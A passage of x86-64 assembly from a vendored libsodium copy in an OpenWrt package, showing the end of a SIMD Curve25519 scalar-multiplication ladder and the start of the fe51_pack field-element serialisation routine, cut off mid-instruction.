208(%rsp),%xmm3,%xmm12 paddq %xmm12,%xmm11 vpmuludq 336(%rsp),%xmm9,%xmm12 paddq %xmm12,%xmm11 vpmuludq 240(%rsp),%xmm3,%xmm3 paddq %xmm3,%xmm2 vpmuludq 368(%rsp),%xmm9,%xmm3 paddq %xmm3,%xmm2 vpunpckhqdq %xmm14,%xmm1,%xmm3 movdqa %xmm3,32(%rsp) pshufd $0,%xmm1,%xmm1 pshufd $0,%xmm14,%xmm3 vpmuludq 256(%rsp),%xmm1,%xmm9 paddq %xmm9,%xmm4 vpmuludq 384(%rsp),%xmm3,%xmm9 paddq %xmm9,%xmm4 vpmuludq 288(%rsp),%xmm1,%xmm9 paddq %xmm9,%xmm6 vpmuludq 416(%rsp),%xmm3,%xmm9 paddq %xmm9,%xmm6 vpmuludq 160(%rsp),%xmm1,%xmm9 paddq %xmm9,%xmm7 vpmuludq 432(%rsp),%xmm3,%xmm9 paddq %xmm9,%xmm7 vpmuludq 176(%rsp),%xmm1,%xmm9 paddq %xmm9,%xmm11 vpmuludq 304(%rsp),%xmm3,%xmm9 paddq %xmm9,%xmm11 vpmuludq 208(%rsp),%xmm1,%xmm1 paddq %xmm1,%xmm2 vpmuludq 336(%rsp),%xmm3,%xmm1 paddq %xmm1,%xmm2 vpunpckhqdq %xmm0,%xmm5,%xmm1 movdqa %xmm1,48(%rsp) pshufd $0,%xmm5,%xmm1 pshufd $0,%xmm0,%xmm0 vpmuludq 224(%rsp),%xmm1,%xmm3 paddq %xmm3,%xmm4 vpmuludq 352(%rsp),%xmm0,%xmm3 paddq %xmm3,%xmm4 vpmuludq 256(%rsp),%xmm1,%xmm3 paddq %xmm3,%xmm6 vpmuludq 384(%rsp),%xmm0,%xmm3 paddq %xmm3,%xmm6 vpmuludq 288(%rsp),%xmm1,%xmm3 paddq %xmm3,%xmm7 vpmuludq 416(%rsp),%xmm0,%xmm3 paddq %xmm3,%xmm7 vpmuludq 160(%rsp),%xmm1,%xmm3 paddq %xmm3,%xmm11 vpmuludq 432(%rsp),%xmm0,%xmm3 paddq %xmm3,%xmm11 vpmuludq 176(%rsp),%xmm1,%xmm1 paddq %xmm1,%xmm2 vpmuludq 304(%rsp),%xmm0,%xmm0 paddq %xmm0,%xmm2 vpunpckhqdq %xmm10,%xmm8,%xmm0 movdqa %xmm0,64(%rsp) pshufd $0,%xmm8,%xmm0 pshufd $0,%xmm10,%xmm1 vpmuludq 192(%rsp),%xmm0,%xmm3 paddq %xmm3,%xmm4 vpmuludq 320(%rsp),%xmm1,%xmm3 paddq %xmm3,%xmm4 vpmuludq 224(%rsp),%xmm0,%xmm3 paddq %xmm3,%xmm6 vpmuludq 352(%rsp),%xmm1,%xmm3 paddq %xmm3,%xmm6 vpmuludq 256(%rsp),%xmm0,%xmm3 paddq %xmm3,%xmm7 vpmuludq 384(%rsp),%xmm1,%xmm3 paddq %xmm3,%xmm7 vpmuludq 288(%rsp),%xmm0,%xmm3 paddq %xmm3,%xmm11 vpmuludq 416(%rsp),%xmm1,%xmm3 paddq %xmm3,%xmm11 vpmuludq 160(%rsp),%xmm0,%xmm0 paddq %xmm0,%xmm2 vpmuludq 432(%rsp),%xmm1,%xmm0 paddq %xmm0,%xmm2 movdqa %xmm4,80(%rsp) movdqa %xmm6,96(%rsp) movdqa %xmm7,112(%rsp) movdqa %xmm11,448(%rsp) movdqa %xmm2,496(%rsp) movdqa 144(%rsp),%xmm0 vpmuludq %xmm0,%xmm0,%xmm1 paddq %xmm0,%xmm0 movdqa 128(%rsp),%xmm2 vpmuludq %xmm2,%xmm0,%xmm3 movdqa 480(%rsp),%xmm4 vpmuludq %xmm4,%xmm0,%xmm5 movdqa 464(%rsp),%xmm6 vpmuludq %xmm6,%xmm0,%xmm7 movdqa 528(%rsp),%xmm8 vpmuludq %xmm8,%xmm0,%xmm9 vpmuludq 512(%rsp),%xmm0,%xmm10 vpmuludq 592(%rsp),%xmm0,%xmm11 vpmuludq 576(%rsp),%xmm0,%xmm12 vpmuludq 624(%rsp),%xmm0,%xmm13 movdqa 672(%rsp),%xmm14 vpmuludq %xmm14,%xmm0,%xmm0 vpmuludq v38_38(%rip),%xmm14,%xmm15 vpmuludq %xmm15,%xmm14,%xmm14 paddq %xmm14,%xmm13 vpaddq %xmm6,%xmm6,%xmm14 vpmuludq %xmm14,%xmm6,%xmm6 paddq %xmm6,%xmm11 vpaddq %xmm2,%xmm2,%xmm6 vpmuludq %xmm6,%xmm2,%xmm2 paddq %xmm2,%xmm5 vpmuludq %xmm15,%xmm6,%xmm2 paddq %xmm2,%xmm1 vpmuludq %xmm15,%xmm4,%xmm2 paddq %xmm2,%xmm3 vpmuludq 544(%rsp),%xmm6,%xmm2 paddq %xmm2,%xmm11 vpmuludq 592(%rsp),%xmm6,%xmm2 paddq %xmm2,%xmm12 vpmuludq 640(%rsp),%xmm6,%xmm2 paddq %xmm2,%xmm13 vpmuludq 624(%rsp),%xmm6,%xmm2 paddq %xmm2,%xmm0 vpmuludq %xmm4,%xmm6,%xmm2 paddq %xmm2,%xmm7 vpmuludq %xmm14,%xmm6,%xmm2 paddq %xmm2,%xmm9 vpmuludq %xmm8,%xmm6,%xmm2 paddq %xmm2,%xmm10 vpmuludq %xmm15,%xmm14,%xmm2 paddq %xmm2,%xmm5 vpmuludq %xmm15,%xmm8,%xmm2 paddq %xmm2,%xmm7 vpmuludq %xmm4,%xmm4,%xmm2 paddq %xmm2,%xmm9 vpmuludq %xmm14,%xmm4,%xmm2 paddq %xmm2,%xmm10 vpaddq %xmm4,%xmm4,%xmm2 vpmuludq %xmm8,%xmm2,%xmm4 paddq %xmm4,%xmm11 vpmuludq 688(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm1 vpmuludq 688(%rsp),%xmm14,%xmm4 paddq %xmm4,%xmm3 vpmuludq 512(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm12 vpmuludq 592(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm13 vpmuludq 576(%rsp),%xmm2,%xmm2 paddq %xmm2,%xmm0 vpmuludq 656(%rsp),%xmm8,%xmm2 paddq %xmm2,%xmm3 vpmuludq %xmm8,%xmm14,%xmm2 paddq %xmm2,%xmm12 vpmuludq %xmm8,%xmm8,%xmm2 paddq %xmm2,%xmm13 vpaddq %xmm8,%xmm8,%xmm2 vpmuludq 688(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm5 vpmuludq 544(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm9 vpmuludq 592(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm10 vpmuludq 656(%rsp),%xmm14,%xmm4 paddq %xmm4,%xmm1 movdqa 544(%rsp),%xmm4 pmuludq 688(%rsp),%xmm4 paddq %xmm4,%xmm7 vpmuludq 544(%rsp),%xmm14,%xmm4 paddq %xmm4,%xmm13 vpmuludq 592(%rsp),%xmm14,%xmm4 paddq %xmm4,%xmm0 vpmuludq 640(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm11 vpmuludq 624(%rsp),%xmm15,%xmm4 paddq %xmm4,%xmm12 movdqa 592(%rsp),%xmm4 paddq %xmm4,%xmm4 pmuludq 688(%rsp),%xmm4 paddq %xmm4,%xmm9 vpmuludq 608(%rsp),%xmm2,%xmm4 paddq %xmm4,%xmm1 movdqa 544(%rsp),%xmm4 pmuludq 608(%rsp),%xmm4 paddq %xmm4,%xmm3 movdqa 544(%rsp),%xmm4 pmuludq 656(%rsp),%xmm4 paddq %xmm4,%xmm5 movdqa 592(%rsp),%xmm4 pmuludq 656(%rsp),%xmm4 paddq %xmm4,%xmm7 movdqa 640(%rsp),%xmm4 pmuludq 688(%rsp),%xmm4 paddq %xmm4,%xmm10 vpmuludq 512(%rsp),%xmm2,%xmm2 paddq %xmm2,%xmm0 movdqa 560(%rsp),%xmm2 pmuludq 512(%rsp),%xmm2 paddq %xmm2,%xmm1 movdqa 608(%rsp),%xmm2 pmuludq 592(%rsp),%xmm2 paddq %xmm2,%xmm5 movdqa 656(%rsp),%xmm2 pmuludq 576(%rsp),%xmm2 paddq %xmm2,%xmm9 movdqa 688(%rsp),%xmm2 pmuludq 624(%rsp),%xmm2 paddq %xmm2,%xmm11 vpsrlq $26,%xmm1,%xmm2 paddq %xmm2,%xmm3 pand m26(%rip),%xmm1 vpsrlq $25,%xmm10,%xmm2 paddq %xmm2,%xmm11 pand m25(%rip),%xmm10 vpsrlq $25,%xmm3,%xmm2 paddq %xmm2,%xmm5 pand m25(%rip),%xmm3 vpsrlq $26,%xmm11,%xmm2 paddq %xmm2,%xmm12 pand m26(%rip),%xmm11 vpsrlq $26,%xmm5,%xmm2 paddq %xmm2,%xmm7 pand m26(%rip),%xmm5 vpsrlq $25,%xmm12,%xmm2 paddq %xmm2,%xmm13 pand m25(%rip),%xmm12 vpsrlq $25,%xmm7,%xmm2 paddq %xmm2,%xmm9 pand m25(%rip),%xmm7 vpsrlq $26,%xmm13,%xmm2 paddq %xmm2,%xmm0 pand m26(%rip),%xmm13 vpsrlq $26,%xmm9,%xmm2 paddq %xmm2,%xmm10 pand m26(%rip),%xmm9 vpsrlq $25,%xmm0,%xmm2 vpsllq $4,%xmm2,%xmm4 paddq %xmm2,%xmm1 psllq $1,%xmm2 paddq %xmm2,%xmm4 paddq %xmm4,%xmm1 pand m25(%rip),%xmm0 vpsrlq $25,%xmm10,%xmm2 paddq %xmm2,%xmm11 pand m25(%rip),%xmm10 vpsrlq $26,%xmm1,%xmm2 paddq %xmm2,%xmm3 pand m26(%rip),%xmm1 vpunpckhqdq %xmm3,%xmm1,%xmm2 vpunpcklqdq %xmm3,%xmm1,%xmm1 movdqa %xmm1,464(%rsp) vpaddq subc0(%rip),%xmm2,%xmm3 psubq %xmm1,%xmm3 vpunpckhqdq %xmm3,%xmm2,%xmm1 vpunpcklqdq %xmm3,%xmm2,%xmm2 movdqa %xmm2,480(%rsp) movdqa %xmm1,512(%rsp) psllq $1,%xmm1 movdqa %xmm1,528(%rsp) pmuludq v121666_121666(%rip),%xmm3 movdqa 80(%rsp),%xmm1 vpunpcklqdq %xmm1,%xmm3,%xmm2 vpunpckhqdq %xmm1,%xmm3,%xmm1 vpunpckhqdq %xmm7,%xmm5,%xmm3 vpunpcklqdq %xmm7,%xmm5,%xmm4 movdqa %xmm4,544(%rsp) vpaddq subc2(%rip),%xmm3,%xmm5 psubq %xmm4,%xmm5 vpunpckhqdq %xmm5,%xmm3,%xmm4 vpunpcklqdq %xmm5,%xmm3,%xmm3 movdqa %xmm3,560(%rsp) movdqa %xmm4,576(%rsp) psllq $1,%xmm4 movdqa %xmm4,592(%rsp) pmuludq v121666_121666(%rip),%xmm5 movdqa 96(%rsp),%xmm3 vpunpcklqdq %xmm3,%xmm5,%xmm4 vpunpckhqdq %xmm3,%xmm5,%xmm3 vpunpckhqdq %xmm10,%xmm9,%xmm5 vpunpcklqdq %xmm10,%xmm9,%xmm6 movdqa %xmm6,608(%rsp) vpaddq subc2(%rip),%xmm5,%xmm7 psubq %xmm6,%xmm7 vpunpckhqdq %xmm7,%xmm5,%xmm6 vpunpcklqdq %xmm7,%xmm5,%xmm5 movdqa %xmm5,624(%rsp) movdqa %xmm6,640(%rsp) psllq $1,%xmm6 movdqa %xmm6,656(%rsp) pmuludq v121666_121666(%rip),%xmm7 movdqa 112(%rsp),%xmm5 vpunpcklqdq %xmm5,%xmm7,%xmm6 vpunpckhqdq %xmm5,%xmm7,%xmm5 vpunpckhqdq %xmm12,%xmm11,%xmm7 vpunpcklqdq %xmm12,%xmm11,%xmm8 movdqa %xmm8,672(%rsp) vpaddq subc2(%rip),%xmm7,%xmm9 psubq %xmm8,%xmm9 vpunpckhqdq %xmm9,%xmm7,%xmm8 vpunpcklqdq %xmm9,%xmm7,%xmm7 movdqa %xmm7,688(%rsp) movdqa %xmm8,704(%rsp) psllq $1,%xmm8 movdqa %xmm8,720(%rsp) pmuludq v121666_121666(%rip),%xmm9 movdqa 448(%rsp),%xmm7 vpunpcklqdq %xmm7,%xmm9,%xmm8 vpunpckhqdq %xmm7,%xmm9,%xmm7 vpunpckhqdq %xmm0,%xmm13,%xmm9 vpunpcklqdq %xmm0,%xmm13,%xmm0 movdqa %xmm0,448(%rsp) vpaddq subc2(%rip),%xmm9,%xmm10 psubq %xmm0,%xmm10 vpunpckhqdq %xmm10,%xmm9,%xmm0 vpunpcklqdq %xmm10,%xmm9,%xmm9 movdqa %xmm9,736(%rsp) movdqa %xmm0,752(%rsp) psllq $1,%xmm0 movdqa %xmm0,768(%rsp) pmuludq v121666_121666(%rip),%xmm10 movdqa 496(%rsp),%xmm0 vpunpcklqdq %xmm0,%xmm10,%xmm9 vpunpckhqdq %xmm0,%xmm10,%xmm0 vpsrlq $26,%xmm2,%xmm10 paddq %xmm10,%xmm1 pand m26(%rip),%xmm2 vpsrlq $25,%xmm5,%xmm10 paddq %xmm10,%xmm8 pand m25(%rip),%xmm5 vpsrlq $25,%xmm1,%xmm10 paddq %xmm10,%xmm4 pand m25(%rip),%xmm1 vpsrlq $26,%xmm8,%xmm10 paddq %xmm10,%xmm7 pand m26(%rip),%xmm8 vpsrlq $26,%xmm4,%xmm10 paddq %xmm10,%xmm3 pand m26(%rip),%xmm4 vpsrlq $25,%xmm7,%xmm10 paddq %xmm10,%xmm9 pand m25(%rip),%xmm7 vpsrlq $25,%xmm3,%xmm10 paddq %xmm10,%xmm6 pand m25(%rip),%xmm3 vpsrlq $26,%xmm9,%xmm10 paddq %xmm10,%xmm0 pand m26(%rip),%xmm9 vpsrlq $26,%xmm6,%xmm10 paddq %xmm10,%xmm5 pand m26(%rip),%xmm6 vpsrlq $25,%xmm0,%xmm10 vpsllq $4,%xmm10,%xmm11 paddq %xmm10,%xmm2 psllq $1,%xmm10 paddq %xmm10,%xmm11 paddq %xmm11,%xmm2 pand m25(%rip),%xmm0 vpsrlq $25,%xmm5,%xmm10 paddq %xmm10,%xmm8 pand m25(%rip),%xmm5 vpsrlq $26,%xmm2,%xmm10 paddq %xmm10,%xmm1 pand m26(%rip),%xmm2 vpunpckhqdq %xmm1,%xmm2,%xmm10 movdqa %xmm10,80(%rsp) vpunpcklqdq %xmm1,%xmm2,%xmm1 vpunpckhqdq %xmm3,%xmm4,%xmm2 movdqa %xmm2,96(%rsp) vpunpcklqdq %xmm3,%xmm4,%xmm2 vpunpckhqdq %xmm5,%xmm6,%xmm3 movdqa %xmm3,112(%rsp) vpunpcklqdq %xmm5,%xmm6,%xmm3 vpunpckhqdq %xmm7,%xmm8,%xmm4 movdqa %xmm4,128(%rsp) vpunpcklqdq %xmm7,%xmm8,%xmm4 vpunpckhqdq %xmm0,%xmm9,%xmm5 movdqa %xmm5,144(%rsp) vpunpcklqdq %xmm0,%xmm9,%xmm0 movdqa 464(%rsp),%xmm5 paddq %xmm5,%xmm1 vpunpcklqdq %xmm1,%xmm5,%xmm6 vpunpckhqdq %xmm1,%xmm5,%xmm1 vpmuludq 512(%rsp),%xmm6,%xmm5 vpmuludq 480(%rsp),%xmm1,%xmm7 paddq %xmm7,%xmm5 vpmuludq 560(%rsp),%xmm6,%xmm7 vpmuludq 528(%rsp),%xmm1,%xmm8 paddq %xmm8,%xmm7 vpmuludq 576(%rsp),%xmm6,%xmm8 vpmuludq 560(%rsp),%xmm1,%xmm9 paddq %xmm9,%xmm8 vpmuludq 624(%rsp),%xmm6,%xmm9 vpmuludq 592(%rsp),%xmm1,%xmm10 paddq %xmm10,%xmm9 vpmuludq 640(%rsp),%xmm6,%xmm10 vpmuludq 624(%rsp),%xmm1,%xmm11 paddq %xmm11,%xmm10 vpmuludq 688(%rsp),%xmm6,%xmm11 vpmuludq 656(%rsp),%xmm1,%xmm12 paddq %xmm12,%xmm11 vpmuludq 704(%rsp),%xmm6,%xmm12 vpmuludq 688(%rsp),%xmm1,%xmm13 paddq %xmm13,%xmm12 vpmuludq 736(%rsp),%xmm6,%xmm13 vpmuludq 720(%rsp),%xmm1,%xmm14 paddq %xmm14,%xmm13 vpmuludq 752(%rsp),%xmm6,%xmm14 vpmuludq 736(%rsp),%xmm1,%xmm15 paddq %xmm15,%xmm14 vpmuludq 480(%rsp),%xmm6,%xmm6 pmuludq v19_19(%rip),%xmm1 vpmuludq 768(%rsp),%xmm1,%xmm1 paddq %xmm1,%xmm6 movdqa 544(%rsp),%xmm1 paddq %xmm1,%xmm2 vpunpcklqdq %xmm2,%xmm1,%xmm15 vpunpckhqdq %xmm2,%xmm1,%xmm1 vpmuludq 480(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm7 vpmuludq 512(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm8 vpmuludq 560(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm9 vpmuludq 576(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm10 vpmuludq 624(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm11 vpmuludq 640(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm12 vpmuludq 688(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm13 vpmuludq 704(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm14 pmuludq v19_19(%rip),%xmm15 vpmuludq 736(%rsp),%xmm15,%xmm2 paddq %xmm2,%xmm6 pmuludq 752(%rsp),%xmm15 paddq %xmm15,%xmm5 vpmuludq 480(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm8 vpmuludq 528(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm9 vpmuludq 560(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm10 vpmuludq 592(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm11 vpmuludq 624(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm12 vpmuludq 656(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm13 vpmuludq 688(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm14 pmuludq v19_19(%rip),%xmm1 vpmuludq 720(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm6 vpmuludq 736(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm5 pmuludq 768(%rsp),%xmm1 paddq %xmm1,%xmm7 movdqa 608(%rsp),%xmm1 paddq %xmm1,%xmm3 vpunpcklqdq %xmm3,%xmm1,%xmm2 vpunpckhqdq %xmm3,%xmm1,%xmm1 vpmuludq 480(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm9 vpmuludq 512(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm10 vpmuludq 560(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm11 vpmuludq 576(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm12 vpmuludq 624(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm13 vpmuludq 640(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm14 pmuludq v19_19(%rip),%xmm2 vpmuludq 688(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm6 vpmuludq 704(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm5 vpmuludq 736(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm7 pmuludq 752(%rsp),%xmm2 paddq %xmm2,%xmm8 vpmuludq 480(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm10 vpmuludq 528(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm11 vpmuludq 560(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm12 vpmuludq 592(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm13 vpmuludq 624(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm14 pmuludq v19_19(%rip),%xmm1 vpmuludq 656(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm6 vpmuludq 688(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm5 vpmuludq 720(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm7 vpmuludq 736(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm8 pmuludq 768(%rsp),%xmm1 paddq %xmm1,%xmm9 movdqa 672(%rsp),%xmm1 paddq %xmm1,%xmm4 vpunpcklqdq %xmm4,%xmm1,%xmm2 vpunpckhqdq %xmm4,%xmm1,%xmm1 vpmuludq 480(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm11 vpmuludq 512(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm12 vpmuludq 560(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm13 vpmuludq 576(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm14 pmuludq v19_19(%rip),%xmm2 vpmuludq 624(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm6 vpmuludq 640(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm5 vpmuludq 688(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm7 vpmuludq 704(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm8 vpmuludq 736(%rsp),%xmm2,%xmm3 paddq %xmm3,%xmm9 pmuludq 752(%rsp),%xmm2 paddq %xmm2,%xmm10 vpmuludq 480(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm12 vpmuludq 528(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm13 vpmuludq 560(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm14 pmuludq v19_19(%rip),%xmm1 vpmuludq 592(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm6 vpmuludq 624(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm5 vpmuludq 656(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm7 vpmuludq 688(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm8 vpmuludq 720(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm9 vpmuludq 736(%rsp),%xmm1,%xmm2 paddq %xmm2,%xmm10 pmuludq 768(%rsp),%xmm1 paddq %xmm1,%xmm11 movdqa 448(%rsp),%xmm1 paddq %xmm1,%xmm0 vpunpcklqdq %xmm0,%xmm1,%xmm2 vpunpckhqdq %xmm0,%xmm1,%xmm0 vpmuludq 480(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm13 vpmuludq 512(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm14 pmuludq v19_19(%rip),%xmm2 vpmuludq 560(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm6 vpmuludq 576(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm5 vpmuludq 624(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm7 vpmuludq 640(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm8 vpmuludq 688(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm9 vpmuludq 704(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm10 vpmuludq 736(%rsp),%xmm2,%xmm1 paddq %xmm1,%xmm11 pmuludq 752(%rsp),%xmm2 paddq %xmm2,%xmm12 vpmuludq 480(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm14 pmuludq v19_19(%rip),%xmm0 vpmuludq 528(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm6 vpmuludq 560(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm5 vpmuludq 592(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm7 vpmuludq 624(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm8 vpmuludq 656(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm9 vpmuludq 688(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm10 vpmuludq 720(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm11 vpmuludq 736(%rsp),%xmm0,%xmm1 paddq %xmm1,%xmm12 pmuludq 768(%rsp),%xmm0 paddq %xmm0,%xmm13 vpsrlq $26,%xmm6,%xmm0 paddq %xmm0,%xmm5 pand m26(%rip),%xmm6 vpsrlq $25,%xmm10,%xmm0 paddq %xmm0,%xmm11 pand m25(%rip),%xmm10 vpsrlq $25,%xmm5,%xmm0 paddq %xmm0,%xmm7 pand m25(%rip),%xmm5 vpsrlq $26,%xmm11,%xmm0 paddq %xmm0,%xmm12 pand m26(%rip),%xmm11 vpsrlq $26,%xmm7,%xmm0 paddq %xmm0,%xmm8 pand m26(%rip),%xmm7 vpsrlq $25,%xmm12,%xmm0 paddq %xmm0,%xmm13 pand m25(%rip),%xmm12 vpsrlq $25,%xmm8,%xmm0 paddq %xmm0,%xmm9 pand m25(%rip),%xmm8 vpsrlq $26,%xmm13,%xmm0 paddq %xmm0,%xmm14 pand m26(%rip),%xmm13 vpsrlq $26,%xmm9,%xmm0 paddq %xmm0,%xmm10 pand m26(%rip),%xmm9 vpsrlq $25,%xmm14,%xmm0 vpsllq $4,%xmm0,%xmm1 paddq %xmm0,%xmm6 psllq $1,%xmm0 paddq %xmm0,%xmm1 paddq %xmm1,%xmm6 pand m25(%rip),%xmm14 vpsrlq $25,%xmm10,%xmm0 paddq %xmm0,%xmm11 pand m25(%rip),%xmm10 vpsrlq $26,%xmm6,%xmm0 paddq %xmm0,%xmm5 pand m26(%rip),%xmm6 vpunpckhqdq %xmm5,%xmm6,%xmm1 vpunpcklqdq %xmm5,%xmm6,%xmm0 vpunpckhqdq %xmm8,%xmm7,%xmm3 vpunpcklqdq %xmm8,%xmm7,%xmm2 vpunpckhqdq %xmm10,%xmm9,%xmm5 vpunpcklqdq %xmm10,%xmm9,%xmm4 vpunpckhqdq %xmm12,%xmm11,%xmm7 vpunpcklqdq %xmm12,%xmm11,%xmm6 vpunpckhqdq %xmm14,%xmm13,%xmm9 vpunpcklqdq %xmm14,%xmm13,%xmm8 cmp $0,%rdx jne ._ladder_loop movdqu %xmm1,160(%rdi) movdqu %xmm0,80(%rdi) movdqu %xmm3,176(%rdi) movdqu %xmm2,96(%rdi) movdqu %xmm5,192(%rdi) movdqu %xmm4,112(%rdi) movdqu %xmm7,208(%rdi) movdqu %xmm6,128(%rdi) movdqu %xmm9,224(%rdi) movdqu %xmm8,144(%rdi) movq 1824(%rsp),%r11 movq 1832(%rsp),%r12 movq 1840(%rsp),%r13 movq 1848(%rsp),%r14 add %r11,%rsp ret #endif
281677160/openwrt-package	3,455	luci-app-ssr-plus/shadowsocksr-libev/src/libsodium/src/libsodium/crypto_scalarmult/curve25519/sandy2x/fe51_pack.S	#ifdef IN_SANDY2X /* This file is the result of merging amd64-51/fe25519_pack.c and amd64-51/fe25519_freeze.s. */ #include "fe51_namespace.h" #include "consts_namespace.h" .p2align 5 .globl fe51_pack .globl _fe51_pack #ifdef __ELF__ .type fe51_pack, @function .type _fe51_pack, @function #endif fe51_pack: _fe51_pack: mov %rsp,%r11 and $31,%r11 add $32,%r11 sub %r11,%rsp movq %r11,0(%rsp) movq %r12,8(%rsp) movq 0(%rsi),%rdx movq 8(%rsi),%rcx movq 16(%rsi),%r8 movq 24(%rsi),%r9 movq 32(%rsi),%rsi movq REDMASK51(%rip),%rax lea -18(%rax),%r10 mov $3,%r11 ._reduceloop: mov %rdx,%r12 shr $51,%r12 and %rax,%rdx add %r12,%rcx mov %rcx,%r12 shr $51,%r12 and %rax,%rcx add %r12,%r8 mov %r8,%r12 shr $51,%r12 and %rax,%r8 add %r12,%r9 mov %r9,%r12 shr $51,%r12 and %rax,%r9 add %r12,%rsi mov %rsi,%r12 shr $51,%r12 and %rax,%rsi imulq $19, %r12,%r12 add %r12,%rdx sub $1,%r11 ja ._reduceloop mov $1,%r12 cmp %r10,%rdx cmovl %r11,%r12 cmp %rax,%rcx cmovne %r11,%r12 cmp %rax,%r8 cmovne %r11,%r12 cmp %rax,%r9 cmovne %r11,%r12 cmp %rax,%rsi cmovne %r11,%r12 neg %r12 and %r12,%rax and %r12,%r10 sub %r10,%rdx sub %rax,%rcx sub %rax,%r8 sub %rax,%r9 sub %rax,%rsi mov %rdx,%rax and $0xFF,%eax movb %al,0(%rdi) mov %rdx,%rax shr $8,%rax and $0xFF,%eax movb %al,1(%rdi) mov %rdx,%rax shr $16,%rax and $0xFF,%eax movb %al,2(%rdi) mov %rdx,%rax shr $24,%rax and $0xFF,%eax movb %al,3(%rdi) mov %rdx,%rax shr $32,%rax and $0xFF,%eax movb %al,4(%rdi) mov %rdx,%rax shr $40,%rax and $0xFF,%eax movb %al,5(%rdi) mov %rdx,%rdx shr $48,%rdx mov %rcx,%rax shl $3,%rax and $0xF8,%eax xor %rdx,%rax movb %al,6(%rdi) mov %rcx,%rdx shr $5,%rdx and $0xFF,%edx movb %dl,7(%rdi) mov %rcx,%rdx shr $13,%rdx and $0xFF,%edx movb %dl,8(%rdi) mov %rcx,%rdx shr $21,%rdx and $0xFF,%edx movb %dl,9(%rdi) mov %rcx,%rdx shr $29,%rdx and $0xFF,%edx movb %dl,10(%rdi) mov %rcx,%rdx shr $37,%rdx and $0xFF,%edx movb %dl,11(%rdi) mov %rcx,%rdx shr $45,%rdx mov %r8,%rcx shl $6,%rcx and $0xC0,%ecx xor %rdx,%rcx movb %cl,12(%rdi) mov %r8,%rdx shr $2,%rdx and $0xFF,%edx movb %dl,13(%rdi) mov %r8,%rdx shr $10,%rdx and $0xFF,%edx movb %dl,14(%rdi) mov %r8,%rdx shr $18,%rdx and $0xFF,%edx movb %dl,15(%rdi) mov %r8,%rdx shr $26,%rdx and $0xFF,%edx movb %dl,16(%rdi) mov %r8,%rdx shr $34,%rdx and $0xFF,%edx movb %dl,17(%rdi) mov %r8,%rdx shr $42,%rdx movb %dl,18(%rdi) mov %r8,%rdx shr $50,%rdx mov %r9,%rcx shl $1,%rcx and $0xFE,%ecx xor %rdx,%rcx movb %cl,19(%rdi) mov %r9,%rdx shr $7,%rdx and $0xFF,%edx movb %dl,20(%rdi) mov %r9,%rdx shr $15,%rdx and $0xFF,%edx movb 